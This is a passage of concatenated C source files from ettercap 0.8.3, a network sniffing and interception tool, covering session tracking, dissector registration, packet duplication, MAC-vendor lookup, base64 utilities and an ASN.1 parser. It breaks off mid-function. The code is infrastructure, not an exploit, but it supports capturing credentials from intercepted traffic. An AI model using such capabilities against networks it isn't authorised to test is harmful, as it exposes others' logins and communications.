GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #define TABBIT 10 /* 2^10 bit tab entries: 1024 LISTS */ #define TABSIZE (1 << TABBIT) #define TABMASK (TABSIZE - 1) /* globals */ struct session_list { time_t ts; struct ec_session *s; LIST_ENTRY (session_list) next; }; /* global data */ static LIST_HEAD(, session_list) session_list_head[TABSIZE]; /* protos */ u_int32 session_hash(void *ident, size_t ilen); static pthread_mutex_t session_mutex = PTHREAD_MUTEX_INITIALIZER; #define SESSION_LOCK do{ pthread_mutex_lock(&session_mutex); } while(0) #define SESSION_UNLOCK do{ pthread_mutex_unlock(&session_mutex); } while(0) /************************************************/ /* * create a session if it does not exits * update a session if it already exists * * also check for timeouted session and remove them */ void session_put(struct ec_session *s) { struct session_list *sl, *tmp = NULL; time_t ti = time(NULL); u_int32 h; SESSION_LOCK; /* calculate the hash */ h = session_hash(s->ident, s->ident_len); /* search if it already exist */ LIST_FOREACH_SAFE(sl, &session_list_head[h], next, tmp) { if ( sl->s->match(sl->s->ident, s->ident) ) { DEBUG_MSG("session_put: [%p] updated", sl->s->ident); /* destroy the old session */ session_free(sl->s); /* link the new session */ sl->s = s; /* renew the timestamp */ sl->ts = ti; SESSION_UNLOCK; return; } if (sl->ts < (ti - EC_GBL_CONF->connection_timeout) ) { DEBUG_MSG("session_put: [%p] timeouted", sl->s->ident); session_free(sl->s); LIST_REMOVE(sl, next); SAFE_FREE(sl); } } /* sanity check */ BUG_IF(s->match == NULL); /* create the element in the list */ SAFE_CALLOC(sl, 1, sizeof(struct session_list)); /* the timestamp */ sl->ts = ti; /* link the session */ sl->s = s; DEBUG_MSG("session_put: [%p] new session", sl->s->ident); /* * put it in the head. * it is likely to be retrived early */ LIST_INSERT_HEAD(&session_list_head[h], sl, next); SESSION_UNLOCK; } /* * get the info contained in a session */ int session_get(struct ec_session **s, void *ident, size_t ident_len) { struct session_list *sl; time_t ti = time(NULL); u_int32 h; SESSION_LOCK; /* calculate the hash */ h = session_hash(ident, ident_len); /* search if it already exist */ LIST_FOREACH(sl, &session_list_head[h], next) { if ( sl->s->match(sl->s->ident, ident) ) { //DEBUG_MSG("session_get: [%p]", sl->s->ident); /* return the session */ *s = sl->s; /* renew the timestamp */ sl->ts = ti; SESSION_UNLOCK; return E_SUCCESS; } } SESSION_UNLOCK; return -E_NOTFOUND; } /* * delete a session */ int session_del(void *ident, size_t ident_len) { struct session_list *sl; u_int32 h; SESSION_LOCK; /* calculate the hash */ h = session_hash(ident, ident_len); /* search if it already exist */ LIST_FOREACH(sl, &session_list_head[h], next) { if ( sl->s->match(sl->s->ident, ident) ) { DEBUG_MSG("session_del: [%p]", sl->s->ident); /* free the session */ session_free(sl->s); /* remove the element in the list */ LIST_REMOVE(sl, next); /* free the element in the list */ SAFE_FREE(sl); SESSION_UNLOCK; return E_SUCCESS; } } SESSION_UNLOCK; return -E_NOTFOUND; } /* * get the info and delete the session * atomic operations */ int session_get_and_del(struct ec_session **s, void *ident, size_t ident_len) { struct session_list *sl; u_int32 h; SESSION_LOCK; /* calculate the hash */ h = session_hash(ident, ident_len); /* search if it already exist */ LIST_FOREACH(sl, &session_list_head[h], next) { if ( sl->s->match(sl->s->ident, ident) ) { DEBUG_MSG("session_get_and_del: [%p]", sl->s->ident); /* return the session */ *s = sl->s; /* remove the element in the list */ LIST_REMOVE(sl, next); /* free the element in the list */ SAFE_FREE(sl); SESSION_UNLOCK; return E_SUCCESS; } } SESSION_UNLOCK; return -E_NOTFOUND; } /* * free a session structure */ void session_free(struct ec_session *s) { DEBUG_MSG("session_free: [%p] deleted", s->ident); SAFE_FREE(s->ident); /* call the cleanup function to free pointers in the data portion */ if (s->free) s->free(s->data, s->data_len); /* data is free'd here, don't free it in the s->free function */ SAFE_FREE(s->data); SAFE_FREE(s); } /* * calculate the hash for an ident. * use a IP-like checksum so if some word will be exchanged * the hash will be the same. it is useful for dissectors * to find the same session if the packet is goint to the * server or to the client. */ u_int32 session_hash(void *ident, size_t ilen) { u_int32 hash = 0; u_int16 *buf = (u_int16 *)ident; while(ilen > 1) { hash += *buf++; ilen -= sizeof(u_int16); } if (ilen == 1) hash += htons(*(u_char *)buf << 8); hash = (hash >> 16) + (hash & 0xffff); hash += (hash >> 16); /* the hash must be within the TABSIZE */ return (u_int16)(~hash) & TABMASK; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_sleep.c0000644000175000017500000000250613505247364015711 0ustar koeppeakoeppea/* ettercap -- sleep / timer functions Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* this function is used to unify *sleep calls within ettercap */ void ec_usleep(unsigned int usecs) { #ifndef OS_WINDOWS struct timespec ts; ts.tv_sec = MICRO2SEC(usecs); ts.tv_nsec = MICRO2NANO((usecs % (SEC2MICRO(1)))); nanosleep(&ts, NULL); #else /* * Use SleepEx() instead: * http://msdn.microsoft.com/library/windows/desktop/ms686307.aspx */ DWORD msecs = usecs / 1000; SleepEx (msecs, FALSE); #endif } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_dissect.c0000644000175000017500000001642113505247364016240 0ustar koeppeakoeppea/* ettercap -- dissector module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* globals */ static SLIST_HEAD (, dissect_entry) dissect_list; struct dissect_entry { char *name; u_int32 type; u_int8 level; FUNC_DECODER_PTR(decoder); SLIST_ENTRY (dissect_entry) next; }; /*******************************************/ /* * compare two session ident * * return 1 if it matches */ int dissect_match(void *id_sess, void *id_curr) { struct dissect_ident *ids = id_sess; struct dissect_ident *id = id_curr; /* sanity check */ BUG_IF(ids == NULL); BUG_IF(id == NULL); /* * is this ident from our level ? * check the magic ! */ if (ids->magic != id->magic) return 0; /* check the protocol */ if (ids->L4_proto != id->L4_proto) return 0; /* from source to dest */ if (ids->L4_src == id->L4_src && ids->L4_dst == id->L4_dst && !ip_addr_cmp(&ids->L3_src, &id->L3_src) && !ip_addr_cmp(&ids->L3_dst, &id->L3_dst) ) return 1; /* from dest to source */ if (ids->L4_src == id->L4_dst && ids->L4_dst == id->L4_src && !ip_addr_cmp(&ids->L3_src, &id->L3_dst) && !ip_addr_cmp(&ids->L3_dst, &id->L3_src) ) return 1; return 0; } /* * prepare the ident and the pointer to match function * for a dissector. */ void dissect_create_session(struct ec_session **s, struct packet_object *po, void *code) { void *ident; DEBUG_MSG("dissect_create_session"); /* allocate the session */ SAFE_CALLOC(*s, 1, sizeof(struct ec_session)); /* create the ident */ (*s)->ident_len = dissect_create_ident(&ident, po, code); /* link to the session */ (*s)->ident = ident; /* the matching function */ (*s)->match = &dissect_match; } /* * create the ident for a session */ size_t dissect_create_ident(void **i, struct packet_object *po, void *code) { struct dissect_ident *ident; /* allocate the ident for that session */ SAFE_CALLOC(ident, 1, sizeof(struct dissect_ident)); /* the magic number (usually the pointer for the function) */ ident->fptr = code; /* prepare the ident */ memcpy(&ident->L3_src, &po->L3.src, sizeof(struct ip_addr)); memcpy(&ident->L3_dst, &po->L3.dst, sizeof(struct ip_addr)); ident->L4_proto = po->L4.proto; ident->L4_src = po->L4.src; ident->L4_dst = po->L4.dst; /* return the ident */ *i = ident; /* return the length of the ident */ return sizeof(struct dissect_ident); } /* * totally destroy the session bound to this connection */ void dissect_wipe_session(struct packet_object *po, void *code) { void *ident; struct ec_session *s; DEBUG_MSG("dissect_wipe_session"); /* create an ident to retrieve the session */ dissect_create_ident(&ident, po, code); /* retrieve the session and delete it */ if (session_get_and_del(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); return; } /* free the session */ session_free(s); SAFE_FREE(ident); } /* * register a dissector in the dissectors list * and add it to the decoder list. * this list is used by dissect_modify during the parsing * of etter.conf to enable/disable the dissectors via their name. */ void dissect_add(char *name, u_int8 level, u_int32 port, FUNC_DECODER_PTR(decoder)) { struct dissect_entry *e; SAFE_CALLOC(e, 1, sizeof(struct dissect_entry)); e->name = strdup(name); e->level = level; e->type = port; e->decoder = decoder; SLIST_INSERT_HEAD (&dissect_list, e, next); /* add the default decoder */ add_decoder(level, port, decoder); return; } /* * remove all istances of a dissector in the dissectors list */ void dissect_del(char *name) { struct dissect_entry *e, *tmp = NULL; SLIST_FOREACH_SAFE(e, &dissect_list, next, tmp) { if (!strcasecmp(e->name, name)) { del_decoder(e->level, e->type); SLIST_REMOVE(&dissect_list, e, dissect_entry, next); SAFE_FREE(e); } } return; } /* * given the name of the dissector add or remove it * from the decoders' table. * is it possible to add multiple port with MODE_ADD */ int dissect_modify(int mode, char *name, u_int32 port) { struct dissect_entry *e; int level; void *decoder; SLIST_FOREACH (e, &dissect_list, next) { if (!strcasecmp(e->name, name)) { switch (mode) { case MODE_ADD: DEBUG_MSG("dissect_modify: %s added on %lu", name, (unsigned long)port); /* add in the lists */ dissect_add(e->name, e->level, port, e->decoder); return E_SUCCESS; break; case MODE_REP: /* save them because the dissect_del may delete this values */ level = e->level; decoder = e->decoder; /* remove all the previous istances */ dissect_del(name); /* move the ssl wrapper (even if no wrapper) */ sslw_dissect_move(name, port); /* a value of 0 will disable the dissector */ if (port == 0) { DEBUG_MSG("dissect_modify: %s disabled", name); return E_SUCCESS; } DEBUG_MSG("dissect_modify: %s replaced to %lu", name, (unsigned long)port); /* add the new value */ dissect_add(name, level, port, decoder); return E_SUCCESS; break; } } } return -E_NOTFOUND; } /* * return E_SUCCESS if the dissector is on * the specified port */ int dissect_on_port(char *name, u_int16 port) { struct dissect_entry *e; /* * return E_SUCCESS if at least one port is bound * to the dissector name */ SLIST_FOREACH (e, &dissect_list, next) { if (!strcasecmp(e->name, name) && e->type == port) { return E_SUCCESS; } } return -E_NOTFOUND; } /* * return E_SUCCESS if the dissector is on * the specified port of the specified protocol (TCP or UDP) */ int dissect_on_port_level(char *name, u_int16 port, u_int8 level) { struct dissect_entry *e; /* * return E_SUCCESS if at least one port is bound * to the dissector name */ SLIST_FOREACH (e, &dissect_list, next) { if (!strcasecmp(e->name, name) && e->type == port && e->level == level) { return E_SUCCESS; } } return -E_NOTFOUND; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_manuf.c0000644000175000017500000001125413505247364015707 0ustar koeppeakoeppea/* ettercap -- manufacturer finterprint module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* * MFDBL: mac fingerprint database library. * * Copyright (c) 2002 Bonelli Nicola * * All rights reserved. * * Linux needs queue macros from /usr/include/sys/queue.h (BSD) * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. 2. * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * */ #include #include #include #define TABBIT 10 /* 2^10 bit tab entries: 1024 SLISTS */ #define TABSIZE (1UL<mac = (h); \ (p)->vendor = strdup (v); \ } while (0) /* globals */ static SLIST_HEAD(, entry) manuf_head[TABSIZE]; struct entry { unsigned int mac; char *vendor; SLIST_ENTRY(entry) entries; }; /* protos */ static void discard_macdb(void); int manuf_init(void); char * manuf_search(const char *m); /*****************************************/ static void discard_macdb(void) { struct entry *l; u_int i; for (i = 0; i < TABSIZE; i++) { while (SLIST_FIRST(&manuf_head[i]) != NULL) { l = SLIST_FIRST(&manuf_head[i]); SLIST_REMOVE_HEAD(&manuf_head[i], entries); SAFE_FREE(l->vendor); SAFE_FREE(l); } } DEBUG_MSG("ATEXIT: discard_macdb"); return; } int manuf_init(void) { struct entry *p; char line[6+1+120+1]; // MAC + Blank + Description + Newline char name[120+1]; union { char b[4]; u_int32 i; } mac; FILE *f; int m1, m2, m3, i; i = 0; f = open_data("share", MAC_FINGERPRINTS, FOPEN_READ_TEXT); ON_ERROR(f, NULL, "Cannot open %s", MAC_FINGERPRINTS); while (fgets(line, 127, f) != 0) { if (sscanf(line, "%02X%02X%02X %120[^,\n],\n", &m1, &m2, &m3, name) != 4) continue; mac.b[0] = (char) (m1); mac.b[1] = (char) (m2); mac.b[2] = (char) (m3); mac.b[3] = 0; LOAD_ENTRY(p, mac.i, name); SLIST_INSERT_HEAD(&(manuf_head[fnv_32(mac.b, 4) & TABMASK]), p, entries); i++; } DEBUG_MSG("manuf_init -- %d fingers loaded", i); USER_MSG("%4d mac vendor fingerprint\n", i); fclose(f); atexit(discard_macdb); return i; } char * manuf_search(const char *m) { struct entry *l; union { char b[4]; u_int32 i; } mac; u_int32 h; mac.b[0] = *m++; mac.b[1] = *m++; mac.b[2] = *m; mac.b[3] = 0; h = fnv_32(mac.b, 4) & TABMASK; SLIST_FOREACH(l, &manuf_head[h], entries) { if (l->mac == mac.i) return (l->vendor); } return ""; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_packet.c0000644000175000017500000001307313505247364016051 0ustar koeppeakoeppea/* ettercap -- packet object handling Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /* --------------------------- */ struct packet_object* packet_allocate_object(u_char *data, u_int len) { struct packet_object *po; SAFE_CALLOC(po, 1, sizeof(struct packet_object)); packet_create_object(po, data, len); po->flags |= PO_FORGED; return po; } /* * associate the buffer to the packet object */ int packet_create_object(struct packet_object *po, u_char *buf, u_int len) { /* clear the memory */ memset(po, 0, sizeof(struct packet_object)); /* set the buffer and the len of the received packet */ po->packet = buf; po->len = len; return (0); } /* * allocate the buffer for disp data * * disp data is useful when the protocol is * encrypted and we want to forward the packet as is * but display the decrypted data. * decoders should decrypt data from po->DATA.data to po->DATA.disp_data */ int packet_disp_data(struct packet_object *po, u_char *buf, u_int len) { /* disp_data is always null terminated */ if (len + 1) { if(po->DATA.disp_data) SAFE_FREE(po->DATA.disp_data); SAFE_CALLOC(po->DATA.disp_data, len + 1, sizeof(u_char)); } else { ERROR_MSG("packet_disp_data() negative len"); } po->DATA.disp_len = len; memcpy(po->DATA.disp_data, buf, len); return len; } /* * free the packet object memory */ int packet_destroy_object(struct packet_object *po) { /* * the packet is a duplicate * we have to free even the packet buffer. * alse free data directed to top_half */ if (po->flags & PO_DUP) { SAFE_FREE(po->packet); /* * free the dissector info * during the duplication, the pointers where * passed to the dup, so we have to free them * here. */ SAFE_FREE(po->DISSECTOR.user); SAFE_FREE(po->DISSECTOR.pass); SAFE_FREE(po->DISSECTOR.content); SAFE_FREE(po->DISSECTOR.info); SAFE_FREE(po->DISSECTOR.banner); SAFE_FREE(po->DISSECTOR.os); } /* * free the disp_data pointer * it was malloced by tcp or udp decoder. * If the packet was duplicated, disp_data points to NULL * (the dup func set it) * because the duplicate points to the real data and will * free them. */ SAFE_FREE(po->DATA.disp_data); /* if it is alloced entirely by ourselves */ if(po->flags & PO_FORGED) { SAFE_FREE(po->packet); SAFE_FREE(po); } return 0; } /* * duplicate a po and return * the new allocated one */ struct packet_object * packet_dup(struct packet_object *po, u_char flag) { struct packet_object *dup_po; SAFE_CALLOC(dup_po, 1, sizeof(struct packet_object)); /* * copy the po over the dup_po * but this is not sufficient, we have to adjust all * the pointer to the po->packet. * so allocate a new packet, then recalculate the * pointers */ memcpy(dup_po, po, sizeof(struct packet_object)); /* * We set disp_data to NULL to avoid free in the * original packet. Descending decoder chain doesn't * care about disp_data. top_half will free it when * necessary, destroying the packet duplicate. */ dup_po->DATA.disp_data = po->DATA.disp_data; po->DATA.disp_data = NULL; po->DATA.disp_len = 0; /* copy only if the buffer exists */ if ( (flag & PO_DUP_PACKET) && po->packet != NULL) { /* duplicate the po buffer */ SAFE_CALLOC(dup_po->packet, po->len, sizeof(u_char)); /* copy the buffer */ memcpy(dup_po->packet, po->packet, po->len); } else { dup_po->len = 0; dup_po->packet = NULL; } /* * If we want to duplicate packet content we don't want * user, pass, etc. Otherwise we would free them twice * (they are freed by the other duplicate into top half). */ if (flag & PO_DUP_PACKET) { dup_po->DISSECTOR.user = NULL; dup_po->DISSECTOR.pass = NULL; dup_po->DISSECTOR.info = NULL; dup_po->DISSECTOR.banner = NULL; dup_po->DISSECTOR.os = NULL; } /* * adjust all the pointers as the difference * between the old buffer and the pointer */ dup_po->L2.header = dup_po->packet + (po->L2.header - po->packet); dup_po->L3.header = dup_po->packet + (po->L3.header - po->packet); dup_po->L3.options = dup_po->packet + (po->L3.options - po->packet); dup_po->L4.header = dup_po->packet + (po->L4.header - po->packet); dup_po->L4.options = dup_po->packet + (po->L4.options - po->packet); dup_po->DATA.data = dup_po->packet + (po->DATA.data - po->packet); dup_po->fwd_packet = dup_po->packet + (po->fwd_packet - po->packet); /* this packet is a duplicate */ dup_po->flags |= PO_DUP; return dup_po; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_utils.c0000644000175000017500000002022213505247364015734 0ustar koeppeakoeppea/* ettercap -- Ettercap utilities Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include #include #include #include #ifdef HAVE_EC_LUA #include #endif #include #define BASE64_SIZE(x) (((x)+2) / 3 * 4 + 1) static const uint8_t map2[] = { 0x3e, 0xff, 0xff, 0xff, 0x3f, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33 }; /* * This function parses the input in the form [1-3,17,5-11] * and fill the structure with expanded numbers. */ int expand_token(char *s, u_int max, void (*func)(void *t, u_int n), void *t ) { char *str = strdup(s); char *p, *q, r; char *end; u_int a = 0, b = 0; DEBUG_MSG("expand_token %s", s); p = str; end = p + strlen(p); while (p < end) { q = p; /* find the end of the first digit */ while ( isdigit((int)*q) && q++ < end); r = *q; *q = 0; /* get the first digit */ a = atoi(p); if (a > max) FATAL_MSG("Out of range (%d) !!", max); /* it is a range ? */ if ( r == '-') { p = ++q; /* find the end of the range */ while ( isdigit((int)*q) && q++ < end); *q = 0; if (*p == '\0') FATAL_MSG("Invalid range !!"); /* get the second digit */ b = atoi(p); if (b > max) FATAL_MSG("Out of range (%d)!!", max); if (b < a) FATAL_MSG("Invalid decrementing range !!"); } else { /* it is not a range */ b = a; } /* process the range and invoke the callback */ for(; a <= b; a++) { func(t, a); } if (q == end) break; else p = q + 1; } SAFE_FREE(str); return E_SUCCESS; } /* * compile the regex */ int set_regex(char *regex) { int err; char errbuf[100]; DEBUG_MSG("set_regex: %s", regex); /* free any previous compilation */ if (EC_GBL_OPTIONS->regex) regfree(EC_GBL_OPTIONS->regex); /* unset the regex if empty */ if (!strcmp(regex, "")) { SAFE_FREE(EC_GBL_OPTIONS->regex); return E_SUCCESS; } /* allocate the new structure */ SAFE_CALLOC(EC_GBL_OPTIONS->regex, 1, sizeof(regex_t)); /* compile the regex */ err = regcomp(EC_GBL_OPTIONS->regex, regex, REG_EXTENDED | REG_NOSUB | REG_ICASE ); if (err) { regerror(err, EC_GBL_OPTIONS->regex, errbuf, sizeof(errbuf)); FATAL_MSG("%s\n", errbuf); } return E_SUCCESS; } char **parse_iflist(char *list) { int i, n; char **r, *t, *p; for(i = 0, n = 1; list[i] != '\0'; list[i++] == ',' ? n++ : n); SAFE_CALLOC(r, n + 1, sizeof(char*)); /* its self-explaining */ for(r[i=0]=ec_strtok(list,",",&p);iec_uid (nobody) */ if (var != NULL) uid = atoi(var); else uid = EC_GBL_CONF->ec_uid; /* get the env variable for the GID to drop privs to */ var = getenv("EC_GID"); /* if the EC_UID variable is not set, default to EC_GBL_CONF->ec_gid (nobody) */ if (var != NULL) gid = atoi(var); else gid = EC_GBL_CONF->ec_gid; reset_logfile_owners(geteuid(), getegid(), uid, gid); DEBUG_MSG("drop_privs: seteuid(%d) setegid(%d)", uid, gid); /* drop to a good uid/gid ;) */ if ( setegid(gid) < 0 ) ERROR_MSG("setegid()"); if ( seteuid(uid) < 0 ) ERROR_MSG("seteuid()"); DEBUG_MSG("privs: UID: %d %d GID: %d %d", (int)getuid(), (int)geteuid(), (int)getgid(), (int)getegid() ); USER_MSG("Privileges dropped to EUID %d EGID %d...\n\n", (int)geteuid(), (int)getegid() ); } /* base64 stuff */ int get_decode_len(const char *b64_str) { int len = strlen(b64_str); int padding = 0; if (len < 2) return 0; if (b64_str[len-1] == '=' && b64_str[len-2] == '=') padding = 2; else if (b64_str[len-1] == '=') padding = 1; return (int)len*0.75 - padding; } int base64decode(const char *src, char **outptr) { int i, v; int decodeLen = get_decode_len(src); char *dst; SAFE_CALLOC(*outptr, decodeLen, sizeof(char)); dst = *outptr; unsigned int sizeof_array = (sizeof(map2) / sizeof(map2[0])); v = 0; for (i=0; src[i] && src[i] != '='; i++) { unsigned int index = src[i] - 43; if (index >= sizeof_array || map2[index] == 0xff) return -1; v = (v << 6) + map2[index]; if (i & 3) { if (dst - *outptr < decodeLen) { *dst++ = v >> (6 - 2 * (i & 3)); } } } return decodeLen; } int base64encode(const char *inputbuff, char **outptr) { static const char b64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; char *ret, *dst; unsigned i_bits = 0; int i_shift = 0; int bytes_remaining = strlen(inputbuff); SAFE_CALLOC(*outptr, bytes_remaining*4/3+4, sizeof(char)); ret = dst = *outptr; while(bytes_remaining) { i_bits = (i_bits << 8) + *inputbuff++; bytes_remaining--; i_shift += 8; do { *dst++ = b64[(i_bits << 6 >> i_shift) & 0x3f]; i_shift -= 6; } while(i_shift > 6 || (bytes_remaining == 0 && i_shift > 0)); } while((dst - ret) & 3) *dst++ = '='; *dst = '\0'; return strlen(*outptr); } /* * Return a 'ctime()' time-string from either: * a 'struct timeval *tv' * or if 'tv == NULL', * returns a time-value for current time. * * NOT threadsafe (returns a static buffer), but there should hopefully * be no problem (?). */ const char *ec_ctime(const struct timeval *tv) { const char *ts_str; static char result[30]; time_t t; if (!tv) t = time(NULL); else t = (time_t) tv->tv_sec; ts_str = ctime(&t); /* ctime() has a newline at position 24. Get rid of it. */ if (ts_str) sprintf(result, "%.24s", ts_str); else #if defined OS_DARWIN snprintf(result, sizeof(result), "%lu.%06d", (unsigned long)tv->tv_sec, tv->tv_usec); #else snprintf(result, sizeof(result), "%lu.%06lu", (unsigned long)tv->tv_sec, tv->tv_usec); #endif return (result); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_asn1.c0000644000175000017500000001134113505247364015440 0ustar koeppeakoeppea/* * ASN.1 DER parsing * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include #include int asn1_get_next(uint8_t *buf, size_t len, struct asn1_hdr *hdr) { uint8_t *pos, *end; uint8_t tmp; memset(hdr, 0, sizeof(*hdr)); pos = buf; end = buf + len; hdr->identifier = *pos++; hdr->class = hdr->identifier >> 6; hdr->constructed = !!(hdr->identifier & (1 << 5)); if ((hdr->identifier & 0x1f) == 0x1f) { hdr->tag = 0; do { if (pos >= end) { DEBUG_MSG("ASN.1: Identifier " "underflow"); return -1; } tmp = *pos++; DEBUG_MSG("ASN.1: Extended tag data: " "0x%02x", tmp); hdr->tag = (hdr->tag << 7) | (tmp & 0x7f); } while (tmp & 0x80); } else hdr->tag = hdr->identifier & 0x1f; tmp = *pos++; if (tmp & 0x80) { if (tmp == 0xff) { DEBUG_MSG("ASN.1: Reserved length " "value 0xff used"); return -1; } tmp &= 0x7f; /* number of subsequent octets */ hdr->length = 0; if (tmp > 4) { DEBUG_MSG("ASN.1: Too long length field"); return -1; } while (tmp--) { if (pos >= end) { DEBUG_MSG("ASN.1: Length " "underflow"); return -1; } hdr->length = (hdr->length << 8) | *pos++; } } else { /* Short form - length 0..127 in one octet */ hdr->length = tmp; } if (end < pos || hdr->length > (unsigned int)(end - pos)) { DEBUG_MSG("ASN.1: Contents underflow"); return -1; } hdr->payload = pos; return 0; } int asn1_parse_oid(uint8_t *buf, size_t len, struct asn1_oid *oid) { uint8_t *pos, *end; unsigned long val; uint8_t tmp; memset(oid, 0, sizeof(*oid)); pos = buf; end = buf + len; while (pos < end) { val = 0; do { if (pos >= end) return -1; tmp = *pos++; val = (val << 7) | (tmp & 0x7f); } while (tmp & 0x80); if (oid->len >= ASN1_MAX_OID_LEN) { DEBUG_MSG("ASN.1: Too long OID value"); return -1; } if (oid->len == 0) { /* * The first octet encodes the first two object * identifier components in (X*40) + Y formula. * X = 0..2. */ oid->oid[0] = val / 40; if (oid->oid[0] > 2) oid->oid[0] = 2; oid->oid[1] = val - oid->oid[0] * 40; oid->len = 2; } else oid->oid[oid->len++] = val; } return 0; } int asn1_get_oid(uint8_t *buf, size_t len, struct asn1_oid *oid, uint8_t **next) { struct asn1_hdr hdr; if (asn1_get_next(buf, len, &hdr) < 0 || hdr.length == 0) return -1; if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OID) { DEBUG_MSG("ASN.1: Expected OID - found class %d " "tag 0x%x", hdr.class, hdr.tag); return -1; } *next = hdr.payload + hdr.length; return asn1_parse_oid(hdr.payload, hdr.length, oid); } void asn1_oid_to_str(struct asn1_oid *oid, char *buf, size_t len) { char *pos = buf; size_t i; int ret; if (len == 0) return; buf[0] = '\0'; for (i = 0; i < oid->len; i++) { ret = snprintf(pos, buf + len - pos, "%s%lu", i == 0 ? "" : ".", oid->oid[i]); if (ret < 0 || ret >= buf + len - pos) break; pos += ret; } buf[len - 1] = '\0'; } static uint8_t rotate_bits(uint8_t octet) { int i; uint8_t res; res = 0; for (i = 0; i < 8; i++) { res <<= 1; if (octet & 1) res |= 1; 